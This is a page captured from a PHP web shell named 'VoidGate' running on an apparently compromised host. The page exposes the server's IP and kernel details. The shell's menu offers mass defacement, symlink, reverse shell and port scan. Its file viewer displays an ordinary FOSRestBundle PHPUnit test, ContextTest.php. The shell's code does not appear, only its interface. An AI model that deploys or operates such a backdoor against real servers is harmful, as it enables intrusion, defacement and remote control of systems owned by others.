ヤミRoot VoidGate
User / IP
:
216.73.216.211
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
friendsofsymfony
/
rest-bundle
/
Tests
/
Context
/
Viewing: ContextTest.php
<?php /* * This file is part of the FOSRestBundle package. * * (c) FriendsOfSymfony <http://friendsofsymfony.github.com/> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace FOS\RestBundle\Tests\Context; use FOS\RestBundle\Context\Context; use JMS\Serializer\Exclusion\ExclusionStrategyInterface; use PHPUnit\Framework\TestCase; /** * @author Ener-Getick <egetick@gmail.com> */ class ContextTest extends TestCase { protected $context; public function setUp() { $this->context = new Context(); } public function testDefaultValues() { $this->assertEquals([], $this->context->getAttributes()); $this->assertNull($this->context->getGroups()); } public function testAttributes() { // Define attributes and check if that's the good return value. $this->assertEquals($this->context, $this->context->setAttribute('foo', 'bar')); $this->assertEquals($this->context, $this->context->setAttribute('foobar', 'foo')); $this->assertTrue($this->context->hasAttribute('foo')); $this->assertTrue($this->context->hasAttribute('foobar')); $this->assertFalse($this->context->hasAttribute('bar')); $this->assertEquals('bar', $this->context->getAttribute('foo')); $this->assertEquals('foo', $this->context->getAttribute('foobar')); $this->assertEquals(['foo' => 'bar', 'foobar' => 'foo'], $this->context->getAttributes()); } public function testGroupAddition() { $this->context->addGroups(array('quz', 'foo')); $this->context->addGroup('foo'); $this->context->addGroup('bar'); $this->assertEquals(['quz', 'foo', 'bar'], $this->context->getGroups()); } public function testSetGroups() { $this->context->setGroups(array('quz', 'foo')); $this->assertEquals(array('quz', 'foo'), $this->context->getGroups()); $this->context->setGroups(array('foo')); $this->assertEquals(array('foo'), $this->context->getGroups()); } public function testAlreadyExistentGroupAddition() { $this->context->addGroup('foo'); $this->context->addGroup('foo'); $this->context->addGroup('bar'); $this->assertEquals(array('foo', 'bar'), $this->context->getGroups()); } public function testVersion() { $this->context->setVersion('1.3.2'); $this->assertEquals('1.3.2', $this->context->getVersion()); } /** * @group legacy */ public function testMaxDepth() { $this->context->setMaxDepth(10); $this->assertEquals(10, $this->context->getMaxDepth()); } public function testSerializeNull() { $this->context->setSerializeNull(true); $this->assertTrue($this->context->getSerializeNull()); } public function testExclusionStrategy() { $strategy1 = $this->getMockBuilder(ExclusionStrategyInterface::class)->getMock(); $strategy2 = $this->getMockBuilder(ExclusionStrategyInterface::class)->getMock(); $this->context->addExclusionStrategy($strategy1); $this->context->addExclusionStrategy($strategy2); $this->assertEquals([$strategy1, $strategy2], $this->context->getExclusionStrategies()); } }
Coded With 💗 by
0x6ick